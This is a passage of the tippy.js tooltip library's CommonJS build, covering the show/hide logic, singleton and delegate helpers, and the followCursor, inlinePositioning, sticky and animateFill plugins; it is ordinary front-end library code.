(shouldScheduleClickHide && !wasFocused) { scheduleHide(event); } } function onMouseMove(event) { var target = event.target; var isCursorOverReferenceOrPopper = getCurrentTarget().contains(target) || popper.contains(target); if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) { return; } var popperTreeData = getNestedPopperTree().concat(popper).map(function (popper) { var _instance$popperInsta; var instance = popper._tippy; var state = (_instance$popperInsta = instance.popperInstance) == null ? void 0 : _instance$popperInsta.state; if (state) { return { popperRect: popper.getBoundingClientRect(), popperState: state, props: props }; } return null; }).filter(Boolean); if (isCursorOutsideInteractiveBorder(popperTreeData, event)) { cleanupInteractiveMouseListeners(); scheduleHide(event); } } function onMouseLeave(event) { var shouldBail = isEventListenerStopped(event) || instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick; if (shouldBail) { return; } if (instance.props.interactive) { instance.hideWithInteractivity(event); return; } scheduleHide(event); } function onBlurOrFocusOut(event) { if (instance.props.trigger.indexOf('focusin') < 0 && event.target !== getCurrentTarget()) { return; } // If focus was moved to within the popper if (instance.props.interactive && event.relatedTarget && popper.contains(event.relatedTarget)) { return; } scheduleHide(event); } function isEventListenerStopped(event) { return currentInput.isTouch ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0 : false; } function createPopperInstance() { destroyPopperInstance(); var _instance$props2 = instance.props, popperOptions = _instance$props2.popperOptions, placement = _instance$props2.placement, offset = _instance$props2.offset, getReferenceClientRect = _instance$props2.getReferenceClientRect, moveTransition = _instance$props2.moveTransition; var arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null; var computedReference = getReferenceClientRect ? { getBoundingClientRect: getReferenceClientRect, contextElement: getReferenceClientRect.contextElement || getCurrentTarget() } : reference; var tippyModifier = { name: '$$tippy', enabled: true, phase: 'beforeWrite', requires: ['computeStyles'], fn: function fn(_ref2) { var state = _ref2.state; if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh = getDefaultTemplateChildren(), box = _getDefaultTemplateCh.box; ['placement', 'reference-hidden', 'escaped'].forEach(function (attr) { if (attr === 'placement') { box.setAttribute('data-placement', state.placement); } else { if (state.attributes.popper["data-popper-" + attr]) { box.setAttribute("data-" + attr, ''); } else { box.removeAttribute("data-" + attr); } } }); state.attributes.popper = {}; } } }; var modifiers = [{ name: 'offset', options: { offset: offset } }, { name: 'preventOverflow', options: { padding: { top: 2, bottom: 2, left: 5, right: 5 } } }, { name: 'flip', options: { padding: 5 } }, { name: 'computeStyles', options: { adaptive: !moveTransition } }, tippyModifier]; if (getIsDefaultRenderFn() && arrow) { modifiers.push({ name: 'arrow', options: { element: arrow, padding: 3 } }); } modifiers.push.apply(modifiers, (popperOptions == null ? void 0 : popperOptions.modifiers) || []); instance.popperInstance = core.createPopper(computedReference, popper, Object.assign({}, popperOptions, { placement: placement, onFirstUpdate: onFirstUpdate, modifiers: modifiers })); } function destroyPopperInstance() { if (instance.popperInstance) { instance.popperInstance.destroy(); instance.popperInstance = null; } } function mount() { var appendTo = instance.props.appendTo; var parentNode; // By default, we'll append the popper to the triggerTargets's parentNode so // it's directly after the reference element so the elements inside the // tippy can be tabbed to // If there are clipping issues, the user can specify a different appendTo // and ensure focus management is handled correctly manually var node = getCurrentTarget(); if (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO || appendTo === 'parent') { parentNode = node.parentNode; } else { parentNode = invokeWithArgsOrReturn(appendTo, [node]); } // The popper element needs to exist on the DOM before its position can be // updated as Popper needs to read its dimensions if (!parentNode.contains(popper)) { parentNode.appendChild(popper); } instance.state.isMounted = true; createPopperInstance(); /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { // Accessibility check warnWhen(instance.props.interactive && appendTo === defaultProps.appendTo && node.nextElementSibling !== popper, ['Interactive tippy element may not be accessible via keyboard', 'navigation because it is not directly after the reference element', 'in the DOM source order.', '\n\n', 'Using a wrapper <div> or <span> tag around the reference element', 'solves this by creating a new parentNode context.', '\n\n', 'Specifying `appendTo: document.body` silences this warning, but it', 'assumes you are using a focus management solution to handle', 'keyboard navigation.', '\n\n', 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity'].join(' ')); } } function getNestedPopperTree() { return arrayFrom(popper.querySelectorAll('[data-tippy-root]')); } function scheduleShow(event) { instance.clearDelayTimeouts(); if (event) { invokeHook('onTrigger', [instance, event]); } addDocumentPress(); var delay = getDelay(true); var _getNormalizedTouchSe = getNormalizedTouchSettings(), touchValue = _getNormalizedTouchSe[0], touchDelay = _getNormalizedTouchSe[1]; if (currentInput.isTouch && touchValue === 'hold' && touchDelay) { delay = touchDelay; } if (delay) { showTimeout = setTimeout(function () { instance.show(); }, delay); } else { instance.show(); } } function scheduleHide(event) { instance.clearDelayTimeouts(); invokeHook('onUntrigger', [instance, event]); if (!instance.state.isVisible) { removeDocumentPress(); return; } // For interactive tippies, scheduleHide is added to a document.body handler // from onMouseLeave so must intercept scheduled hides from mousemove/leave // events when trigger contains mouseenter and click, and the tip is // currently shown as a result of a click. if (instance.props.trigger.indexOf('mouseenter') >= 0 && instance.props.trigger.indexOf('click') >= 0 && ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 && isVisibleFromClick) { return; } var delay = getDelay(false); if (delay) { hideTimeout = setTimeout(function () { if (instance.state.isVisible) { instance.hide(); } }, delay); } else { // Fixes a `transitionend` problem when it fires 1 frame too // late sometimes, we don't want hide() to be called. scheduleHideAnimationFrame = requestAnimationFrame(function () { instance.hide(); }); } } // =========================================================================== // 🔑 Public methods // =========================================================================== function enable() { instance.state.isEnabled = true; } function disable() { // Disabling the instance should also hide it // https://github.com/atomiks/tippy.js-react/issues/106 instance.hide(); instance.state.isEnabled = false; } function clearDelayTimeouts() { clearTimeout(showTimeout); clearTimeout(hideTimeout); cancelAnimationFrame(scheduleHideAnimationFrame); } function setProps(partialProps) { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps')); } if (instance.state.isDestroyed) { return; } invokeHook('onBeforeUpdate', [instance, partialProps]); removeListeners(); var prevProps = instance.props; var nextProps = evaluateProps(reference, Object.assign({}, prevProps, removeUndefinedProps(partialProps), { ignoreAttributes: true })); instance.props = nextProps; addListeners(); if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) { cleanupInteractiveMouseListeners(); debouncedOnMouseMove = debounce(onMouseMove, nextProps.interactiveDebounce); } // Ensure stale aria-expanded attributes are removed if (prevProps.triggerTarget && !nextProps.triggerTarget) { normalizeToArray(prevProps.triggerTarget).forEach(function (node) { node.removeAttribute('aria-expanded'); }); } else if (nextProps.triggerTarget) { reference.removeAttribute('aria-expanded'); } handleAriaExpandedAttribute(); handleStyles(); if (onUpdate) { onUpdate(prevProps, nextProps); } if (instance.popperInstance) { createPopperInstance(); // Fixes an issue with nested tippies if they are all getting re-rendered, // and the nested ones get re-rendered first. // https://github.com/atomiks/tippyjs-react/issues/177 // TODO: find a cleaner / more efficient solution(!) getNestedPopperTree().forEach(function (nestedPopper) { // React (and other UI libs likely) requires a rAF wrapper as it flushes // its work in one requestAnimationFrame(nestedPopper._tippy.popperInstance.forceUpdate); }); } invokeHook('onAfterUpdate', [instance, partialProps]); } function setContent(content) { instance.setProps({ content: content }); } function show() { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show')); } // Early bail-out var isAlreadyVisible = instance.state.isVisible; var isDestroyed = instance.state.isDestroyed; var isDisabled = !instance.state.isEnabled; var isTouchAndTouchDisabled = currentInput.isTouch && !instance.props.touch; var duration = getValueAtIndexOrReturn(instance.props.duration, 0, defaultProps.duration); if (isAlreadyVisible || isDestroyed || isDisabled || isTouchAndTouchDisabled) { return; } // Normalize `disabled` behavior across browsers. // Firefox allows events on disabled elements, but Chrome doesn't. // Using a wrapper element (i.e. <span>) is recommended. if (getCurrentTarget().hasAttribute('disabled')) { return; } invokeHook('onShow', [instance], false); if (instance.props.onShow(instance) === false) { return; } instance.state.isVisible = true; if (getIsDefaultRenderFn()) { popper.style.visibility = 'visible'; } handleStyles(); addDocumentPress(); if (!instance.state.isMounted) { popper.style.transition = 'none'; } // If flipping to the opposite side after hiding at least once, the // animation will use the wrong placement without resetting the duration if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh2 = getDefaultTemplateChildren(), box = _getDefaultTemplateCh2.box, content = _getDefaultTemplateCh2.content; setTransitionDuration([box, content], 0); } onFirstUpdate = function onFirstUpdate() { var _instance$popperInsta2; if (!instance.state.isVisible || ignoreOnFirstUpdate) { return; } ignoreOnFirstUpdate = true; // reflow void popper.offsetHeight; popper.style.transition = instance.props.moveTransition; if (getIsDefaultRenderFn() && instance.props.animation) { var _getDefaultTemplateCh3 = getDefaultTemplateChildren(), _box = _getDefaultTemplateCh3.box, _content = _getDefaultTemplateCh3.content; setTransitionDuration([_box, _content], duration); setVisibilityState([_box, _content], 'visible'); } handleAriaContentAttribute(); handleAriaExpandedAttribute(); pushIfUnique(mountedInstances, instance); // certain modifiers (e.g. `maxSize`) require a second update after the // popper has been positioned for the first time (_instance$popperInsta2 = instance.popperInstance) == null ? void 0 : _instance$popperInsta2.forceUpdate(); invokeHook('onMount', [instance]); if (instance.props.animation && getIsDefaultRenderFn()) { onTransitionedIn(duration, function () { instance.state.isShown = true; invokeHook('onShown', [instance]); }); } }; mount(); } function hide() { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide')); } // Early bail-out var isAlreadyHidden = !instance.state.isVisible; var isDestroyed = instance.state.isDestroyed; var isDisabled = !instance.state.isEnabled; var duration = getValueAtIndexOrReturn(instance.props.duration, 1, defaultProps.duration); if (isAlreadyHidden || isDestroyed || isDisabled) { return; } invokeHook('onHide', [instance], false); if (instance.props.onHide(instance) === false) { return; } instance.state.isVisible = false; instance.state.isShown = false; ignoreOnFirstUpdate = false; isVisibleFromClick = false; if (getIsDefaultRenderFn()) { popper.style.visibility = 'hidden'; } cleanupInteractiveMouseListeners(); removeDocumentPress(); handleStyles(true); if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh4 = getDefaultTemplateChildren(), box = _getDefaultTemplateCh4.box, content = _getDefaultTemplateCh4.content; if (instance.props.animation) { setTransitionDuration([box, content], duration); setVisibilityState([box, content], 'hidden'); } } handleAriaContentAttribute(); handleAriaExpandedAttribute(); if (instance.props.animation) { if (getIsDefaultRenderFn()) { onTransitionedOut(duration, instance.unmount); } } else { instance.unmount(); } } function hideWithInteractivity(event) { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hideWithInteractivity')); } getDocument().addEventListener('mousemove', debouncedOnMouseMove); pushIfUnique(mouseMoveListeners, debouncedOnMouseMove); debouncedOnMouseMove(event); } function unmount() { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount')); } if (instance.state.isVisible) { instance.hide(); } if (!instance.state.isMounted) { return; } destroyPopperInstance(); // If a popper is not interactive, it will be appended outside the popper // tree by default. This seems mainly for interactive tippies, but we should // find a workaround if possible getNestedPopperTree().forEach(function (nestedPopper) { nestedPopper._tippy.unmount(); }); if (popper.parentNode) { popper.parentNode.removeChild(popper); } mountedInstances = mountedInstances.filter(function (i) { return i !== instance; }); instance.state.isMounted = false; invokeHook('onHidden', [instance]); } function destroy() { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy')); } if (instance.state.isDestroyed) { return; } instance.clearDelayTimeouts(); instance.unmount(); removeListeners(); delete reference._tippy; instance.state.isDestroyed = true; invokeHook('onDestroy', [instance]); } } function tippy(targets, optionalProps) { if (optionalProps === void 0) { optionalProps = {}; } var plugins = defaultProps.plugins.concat(optionalProps.plugins || []); /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { validateTargets(targets); validateProps(optionalProps, plugins); } bindGlobalEventListeners(); var passedProps = Object.assign({}, optionalProps, { plugins: plugins }); var elements = getArrayOfElements(targets); /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { var isSingleContentElement = isElement(passedProps.content); var isMoreThanOneReferenceElement = elements.length > 1; warnWhen(isSingleContentElement && isMoreThanOneReferenceElement, ['tippy() was passed an Element as the `content` prop, but more than', 'one tippy instance was created by this invocation. This means the', 'content element will only be appended to the last tippy instance.', '\n\n', 'Instead, pass the .innerHTML of the element, or use a function that', 'returns a cloned version of the element instead.', '\n\n', '1) content: element.innerHTML\n', '2) content: () => element.cloneNode(true)'].join(' ')); } var instances = elements.reduce(function (acc, reference) { var instance = reference && createTippy(reference, passedProps); if (instance) { acc.push(instance); } return acc; }, []); return isElement(targets) ? instances[0] : instances; } tippy.defaultProps = defaultProps; tippy.setDefaultProps = setDefaultProps; tippy.currentInput = currentInput; var hideAll = function hideAll(_temp) { var _ref = _temp === void 0 ? {} : _temp, excludedReferenceOrInstance = _ref.exclude, duration = _ref.duration; mountedInstances.forEach(function (instance) { var isExcluded = false; if (excludedReferenceOrInstance) { isExcluded = isReferenceElement(excludedReferenceOrInstance) ? instance.reference === excludedReferenceOrInstance : instance.popper === excludedReferenceOrInstance.popper; } if (!isExcluded) { var originalDuration = instance.props.duration; instance.setProps({ duration: duration }); instance.hide(); if (!instance.state.isDestroyed) { instance.setProps({ duration: originalDuration }); } } }); }; // every time the popper is destroyed (i.e. a new target), removing the styles // and causing transitions to break for singletons when the console is open, but // most notably for non-transform styles being used, `gpuAcceleration: false`. var applyStylesModifier = Object.assign({}, core.applyStyles, { effect: function effect(_ref) { var state = _ref.state; var initialStyles = { popper: { position: state.options.strategy, left: '0', top: '0', margin: '0' }, arrow: { position: 'absolute' }, reference: {} }; Object.assign(state.elements.popper.style, initialStyles.popper); state.styles = initialStyles; if (state.elements.arrow) { Object.assign(state.elements.arrow.style, initialStyles.arrow); } // intentionally return no cleanup function // return () => { ... } } }); var createSingleton = function createSingleton(tippyInstances, optionalProps) { var _optionalProps$popper; if (optionalProps === void 0) { optionalProps = {}; } /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { errorWhen(!Array.isArray(tippyInstances), ['The first argument passed to createSingleton() must be an array of', 'tippy instances. The passed value was', String(tippyInstances)].join(' ')); } var individualInstances = tippyInstances; var references = []; var triggerTargets = []; var currentTarget; var overrides = optionalProps.overrides; var interceptSetPropsCleanups = []; var shownOnCreate = false; function setTriggerTargets() { triggerTargets = individualInstances.map(function (instance) { return normalizeToArray(instance.props.triggerTarget || instance.reference); }).reduce(function (acc, item) { return acc.concat(item); }, []); } function setReferences() { references = individualInstances.map(function (instance) { return instance.reference; }); } function enableInstances(isEnabled) { individualInstances.forEach(function (instance) { if (isEnabled) { instance.enable(); } else { instance.disable(); } }); } function interceptSetProps(singleton) { return individualInstances.map(function (instance) { var originalSetProps = instance.setProps; instance.setProps = function (props) { originalSetProps(props); if (instance.reference === currentTarget) { singleton.setProps(props); } }; return function () { instance.setProps = originalSetProps; }; }); } // have to pass singleton, as it maybe undefined on first call function prepareInstance(singleton, target) { var index = triggerTargets.indexOf(target); // bail-out if (target === currentTarget) { return; } currentTarget = target; var overrideProps = (overrides || []).concat('content').reduce(function (acc, prop) { acc[prop] = individualInstances[index].props[prop]; return acc; }, {}); singleton.setProps(Object.assign({}, overrideProps, { getReferenceClientRect: typeof overrideProps.getReferenceClientRect === 'function' ? overrideProps.getReferenceClientRect : function () { var _references$index; return (_references$index = references[index]) == null ? void 0 : _references$index.getBoundingClientRect(); } })); } enableInstances(false); setReferences(); setTriggerTargets(); var plugin = { fn: function fn() { return { onDestroy: function onDestroy() { enableInstances(true); }, onHidden: function onHidden() { currentTarget = null; }, onClickOutside: function onClickOutside(instance) { if (instance.props.showOnCreate && !shownOnCreate) { shownOnCreate = true; currentTarget = null; } }, onShow: function onShow(instance) { if (instance.props.showOnCreate && !shownOnCreate) { shownOnCreate = true; prepareInstance(instance, references[0]); } }, onTrigger: function onTrigger(instance, event) { prepareInstance(instance, event.currentTarget); } }; } }; var singleton = tippy(div(), Object.assign({}, removeProperties(optionalProps, ['overrides']), { plugins: [plugin].concat(optionalProps.plugins || []), triggerTarget: triggerTargets, popperOptions: Object.assign({}, optionalProps.popperOptions, { modifiers: [].concat(((_optionalProps$popper = optionalProps.popperOptions) == null ? void 0 : _optionalProps$popper.modifiers) || [], [applyStylesModifier]) }) })); var originalShow = singleton.show; singleton.show = function (target) { originalShow(); // first time, showOnCreate or programmatic call with no params // default to showing first instance if (!currentTarget && target == null) { return prepareInstance(singleton, references[0]); } // triggered from event (do nothing as prepareInstance already called by onTrigger) // programmatic call with no params when already visible (do nothing again) if (currentTarget && target == null) { return; } // target is index of instance if (typeof target === 'number') { return references[target] && prepareInstance(singleton, references[target]); } // target is a child tippy instance if (individualInstances.indexOf(target) >= 0) { var ref = target.reference; return prepareInstance(singleton, ref); } // target is a ReferenceElement if (references.indexOf(target) >= 0) { return prepareInstance(singleton, target); } }; singleton.showNext = function () { var first = references[0]; if (!currentTarget) { return singleton.show(0); } var index = references.indexOf(currentTarget); singleton.show(references[index + 1] || first); }; singleton.showPrevious = function () { var last = references[references.length - 1]; if (!currentTarget) { return singleton.show(last); } var index = references.indexOf(currentTarget); var target = references[index - 1] || last; singleton.show(target); }; var originalSetProps = singleton.setProps; singleton.setProps = function (props) { overrides = props.overrides || overrides; originalSetProps(props); }; singleton.setInstances = function (nextInstances) { enableInstances(true); interceptSetPropsCleanups.forEach(function (fn) { return fn(); }); individualInstances = nextInstances; enableInstances(false); setReferences(); setTriggerTargets(); interceptSetPropsCleanups = interceptSetProps(singleton); singleton.setProps({ triggerTarget: triggerTargets }); }; interceptSetPropsCleanups = interceptSetProps(singleton); return singleton; }; var BUBBLING_EVENTS_MAP = { mouseover: 'mouseenter', focusin: 'focus', click: 'click' }; /** * Creates a delegate instance that controls the creation of tippy instances * for child elements (`target` CSS selector). */ function delegate(targets, props) { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { errorWhen(!(props && props.target), ['You must specity a `target` prop indicating a CSS selector string matching', 'the target elements that should receive a tippy.'].join(' ')); } var listeners = []; var childTippyInstances = []; var disabled = false; var target = props.target; var nativeProps = removeProperties(props, ['target']); var parentProps = Object.assign({}, nativeProps, { trigger: 'manual', touch: false }); var childProps = Object.assign({ touch: defaultProps.touch }, nativeProps, { showOnCreate: true }); var returnValue = tippy(targets, parentProps); var normalizedReturnValue = normalizeToArray(returnValue); function onTrigger(event) { if (!event.target || disabled) { return; } var targetNode = event.target.closest(target); if (!targetNode) { return; } // Get relevant trigger with fallbacks: // 1. Check `data-tippy-trigger` attribute on target node // 2. Fallback to `trigger` passed to `delegate()` // 3. Fallback to `defaultProps.trigger` var trigger = targetNode.getAttribute('data-tippy-trigger') || props.trigger || defaultProps.trigger; // @ts-ignore if (targetNode._tippy) { return; } if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') { return; } if (event.type !== 'touchstart' && trigger.indexOf(BUBBLING_EVENTS_MAP[event.type]) < 0) { return; } var instance = tippy(targetNode, childProps); if (instance) { childTippyInstances = childTippyInstances.concat(instance); } } function on(node, eventType, handler, options) { if (options === void 0) { options = false; } node.addEventListener(eventType, handler, options); listeners.push({ node: node, eventType: eventType, handler: handler, options: options }); } function addEventListeners(instance) { var reference = instance.reference; on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS); on(reference, 'mouseover', onTrigger); on(reference, 'focusin', onTrigger); on(reference, 'click', onTrigger); } function removeEventListeners() { listeners.forEach(function (_ref) { var node = _ref.node, eventType = _ref.eventType, handler = _ref.handler, options = _ref.options; node.removeEventListener(eventType, handler, options); }); listeners = []; } function applyMutations(instance) { var originalDestroy = instance.destroy; var originalEnable = instance.enable; var originalDisable = instance.disable; instance.destroy = function (shouldDestroyChildInstances) { if (shouldDestroyChildInstances === void 0) { shouldDestroyChildInstances = true; } if (shouldDestroyChildInstances) { childTippyInstances.forEach(function (instance) { instance.destroy(); }); } childTippyInstances = []; removeEventListeners(); originalDestroy(); }; instance.enable = function () { originalEnable(); childTippyInstances.forEach(function (instance) { return instance.enable(); }); disabled = false; }; instance.disable = function () { originalDisable(); childTippyInstances.forEach(function (instance) { return instance.disable(); }); disabled = true; }; addEventListeners(instance); } normalizedReturnValue.forEach(applyMutations); return returnValue; } var animateFill = { name: 'animateFill', defaultValue: false, fn: function fn(instance) { var _instance$props$rende; // @ts-ignore if (!((_instance$props$rende = instance.props.render) != null && _instance$props$rende.$$tippy)) { if (process.env.NODE_ENV !== "production") { errorWhen(instance.props.animateFill, 'The `animateFill` plugin requires the default render function.'); } return {}; } var _getChildren = getChildren(instance.popper), box = _getChildren.box, content = _getChildren.content; var backdrop = instance.props.animateFill ? createBackdropElement() : null; return { onCreate: function onCreate() { if (backdrop) { box.insertBefore(backdrop, box.firstElementChild); box.setAttribute('data-animatefill', ''); box.style.overflow = 'hidden'; instance.setProps({ arrow: false, animation: 'shift-away' }); } }, onMount: function onMount() { if (backdrop) { var transitionDuration = box.style.transitionDuration; var duration = Number(transitionDuration.replace('ms', '')); // The content should fade in after the backdrop has mostly filled the // tooltip element. `clip-path` is the other alternative but is not // well-supported and is buggy on some devices. content.style.transitionDelay = Math.round(duration / 10) + "ms"; backdrop.style.transitionDuration = transitionDuration; setVisibilityState([backdrop], 'visible'); } }, onShow: function onShow() { if (backdrop) { backdrop.style.transitionDuration = '0ms'; } }, onHide: function onHide() { if (backdrop) { setVisibilityState([backdrop], 'hidden'); } } }; } }; function createBackdropElement() { var backdrop = div(); backdrop.className = BACKDROP_CLASS; setVisibilityState([backdrop], 'hidden'); return backdrop; } var mouseCoords = { clientX: 0, clientY: 0 }; var activeInstances = []; function storeMouseCoords(_ref) { var clientX = _ref.clientX, clientY = _ref.clientY; mouseCoords = { clientX: clientX, clientY: clientY }; } function addMouseCoordsListener(doc) { doc.addEventListener('mousemove', storeMouseCoords); } function removeMouseCoordsListener(doc) { doc.removeEventListener('mousemove', storeMouseCoords); } var followCursor = { name: 'followCursor', defaultValue: false, fn: function fn(instance) { var reference = instance.reference; var doc = getOwnerDocument(instance.props.triggerTarget || reference); var isInternalUpdate = false; var wasFocusEvent = false; var isUnmounted = true; var prevProps = instance.props; function getIsInitialBehavior() { return instance.props.followCursor === 'initial' && instance.state.isVisible; } function addListener() { doc.addEventListener('mousemove', onMouseMove); } function removeListener() { doc.removeEventListener('mousemove', onMouseMove); } function unsetGetReferenceClientRect() { isInternalUpdate = true; instance.setProps({ getReferenceClientRect: null }); isInternalUpdate = false; } function onMouseMove(event) { // If the instance is interactive, avoid updating the position unless it's // over the reference element var isCursorOverReference = event.target ? reference.contains(event.target) : true; var followCursor = instance.props.followCursor; var clientX = event.clientX, clientY = event.clientY; var rect = reference.getBoundingClientRect(); var relativeX = clientX - rect.left; var relativeY = clientY - rect.top; if (isCursorOverReference || !instance.props.interactive) { instance.setProps({ // @ts-ignore - unneeded DOMRect properties getReferenceClientRect: function getReferenceClientRect() { var rect = reference.getBoundingClientRect(); var x = clientX; var y = clientY; if (followCursor === 'initial') { x = rect.left + relativeX; y = rect.top + relativeY; } var top = followCursor === 'horizontal' ? rect.top : y; var right = followCursor === 'vertical' ? rect.right : x; var bottom = followCursor === 'horizontal' ? rect.bottom : y; var left = followCursor === 'vertical' ? rect.left : x; return { width: right - left, height: bottom - top, top: top, right: right, bottom: bottom, left: left }; } }); } } function create() { if (instance.props.followCursor) { activeInstances.push({ instance: instance, doc: doc }); addMouseCoordsListener(doc); } } function destroy() { activeInstances = activeInstances.filter(function (data) { return data.instance !== instance; }); if (activeInstances.filter(function (data) { return data.doc === doc; }).length === 0) { removeMouseCoordsListener(doc); } } return { onCreate: create, onDestroy: destroy, onBeforeUpdate: function onBeforeUpdate() { prevProps = instance.props; }, onAfterUpdate: function onAfterUpdate(_, _ref2) { var followCursor = _ref2.followCursor; if (isInternalUpdate) { return; } if (followCursor !== undefined && prevProps.followCursor !== followCursor) { destroy(); if (followCursor) { create(); if (instance.state.isMounted && !wasFocusEvent && !getIsInitialBehavior()) { addListener(); } } else { removeListener(); unsetGetReferenceClientRect(); } } }, onMount: function onMount() { if (instance.props.followCursor && !wasFocusEvent) { if (isUnmounted) { onMouseMove(mouseCoords); isUnmounted = false; } if (!getIsInitialBehavior()) { addListener(); } } }, onTrigger: function onTrigger(_, event) { if (isMouseEvent(event)) { mouseCoords = { clientX: event.clientX, clientY: event.clientY }; } wasFocusEvent = event.type === 'focus'; }, onHidden: function onHidden() { if (instance.props.followCursor) { unsetGetReferenceClientRect(); removeListener(); isUnmounted = true; } } }; } }; function getProps(props, modifier) { var _props$popperOptions; return { popperOptions: Object.assign({}, props.popperOptions, { modifiers: [].concat((((_props$popperOptions = props.popperOptions) == null ? void 0 : _props$popperOptions.modifiers) || []).filter(function (_ref) { var name = _ref.name; return name !== modifier.name; }), [modifier]) }) }; } var inlinePositioning = { name: 'inlinePositioning', defaultValue: false, fn: function fn(instance) { var reference = instance.reference; function isEnabled() { return !!instance.props.inlinePositioning; } var placement; var cursorRectIndex = -1; var isInternalUpdate = false; var triedPlacements = []; var modifier = { name: 'tippyInlinePositioning', enabled: true, phase: 'afterWrite', fn: function fn(_ref2) { var state = _ref2.state; if (isEnabled()) { if (triedPlacements.indexOf(state.placement) !== -1) { triedPlacements = []; } if (placement !== state.placement && triedPlacements.indexOf(state.placement) === -1) { triedPlacements.push(state.placement); instance.setProps({ // @ts-ignore - unneeded DOMRect properties getReferenceClientRect: function getReferenceClientRect() { return _getReferenceClientRect(state.placement); } }); } placement = state.placement; } } }; function _getReferenceClientRect(placement) { return getInlineBoundingClientRect(getBasePlacement(placement), reference.getBoundingClientRect(), arrayFrom(reference.getClientRects()), cursorRectIndex); } function setInternalProps(partialProps) { isInternalUpdate = true; instance.setProps(partialProps); isInternalUpdate = false; } function addModifier() { if (!isInternalUpdate) { setInternalProps(getProps(instance.props, modifier)); } } return { onCreate: addModifier, onAfterUpdate: addModifier, onTrigger: function onTrigger(_, event) { if (isMouseEvent(event)) { var rects = arrayFrom(instance.reference.getClientRects()); var cursorRect = rects.find(function (rect) { return rect.left - 2 <= event.clientX && rect.right + 2 >= event.clientX && rect.top - 2 <= event.clientY && rect.bottom + 2 >= event.clientY; }); var index = rects.indexOf(cursorRect); cursorRectIndex = index > -1 ? index : cursorRectIndex; } }, onHidden: function onHidden() { cursorRectIndex = -1; } }; } }; function getInlineBoundingClientRect(currentBasePlacement, boundingRect, clientRects, cursorRectIndex) { // Not an inline element, or placement is not yet known if (clientRects.length < 2 || currentBasePlacement === null) { return boundingRect; } // There are two rects and they are disjoined if (clientRects.length === 2 && cursorRectIndex >= 0 && clientRects[0].left > clientRects[1].right) { return clientRects[cursorRectIndex] || boundingRect; } switch (currentBasePlacement) { case 'top': case 'bottom': { var firstRect = clientRects[0]; var lastRect = clientRects[clientRects.length - 1]; var isTop = currentBasePlacement === 'top'; var top = firstRect.top; var bottom = lastRect.bottom; var left = isTop ? firstRect.left : lastRect.left; var right = isTop ? firstRect.right : lastRect.right; var width = right - left; var height = bottom - top; return { top: top, bottom: bottom, left: left, right: right, width: width, height: height }; } case 'left': case 'right': { var minLeft = Math.min.apply(Math, clientRects.map(function (rects) { return rects.left; })); var maxRight = Math.max.apply(Math, clientRects.map(function (rects) { return rects.right; })); var measureRects = clientRects.filter(function (rect) { return currentBasePlacement === 'left' ? rect.left === minLeft : rect.right === maxRight; }); var _top = measureRects[0].top; var _bottom = measureRects[measureRects.length - 1].bottom; var _left = minLeft; var _right = maxRight; var _width = _right - _left; var _height = _bottom - _top; return { top: _top, bottom: _bottom, left: _left, right: _right, width: _width, height: _height }; } default: { return boundingRect; } } } var sticky = { name: 'sticky', defaultValue: false, fn: function fn(instance) { var reference = instance.reference, popper = instance.popper; function getReference() { return instance.popperInstance ? instance.popperInstance.state.elements.reference : reference; } function shouldCheck(value) { return instance.props.sticky === true || instance.props.sticky === value; } var prevRefRect = null; var prevPopRect = null; function updatePosition() { var currentRefRect = shouldCheck('reference') ? getReference().getBoundingClientRect() : null; var currentPopRect = shouldCheck('popper') ? popper.getBoundingClientRect() : null; if (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect) || currentPopRect && areRectsDifferent(prevPopRect, currentPopRect)) { if (instance.popperInstance) { instance.popperInstance.update(); } } prevRefRect = currentRefRect; prevPopRect = currentPopRect; if (instance.state.isMounted) { requestAnimationFrame(updatePosition); } } return { onMount: function onMount() { if (instance.props.sticky) { updatePosition(); } } }; } }; function areRectsDifferent(rectA, rectB) { if (rectA && rectB) { return rectA.top !== rectB.top || rectA.right !== rectB.right || rectA.bottom !== rectB.bottom || rectA.left !== rectB.left; } return true; } tippy.setDefaultProps({ render: render }); exports.animateFill = animateFill; exports.createSingleton = createSingleton; exports.default = tippy; exports.delegate = delegate; exports.followCursor = followCursor; exports.hideAll = hideAll; exports.inlinePositioning = inlinePositioning; exports.roundArrow = ROUND_ARROW; exports.sticky = sticky; //# sourceMappingURL=tippy.cjs.js.map
Close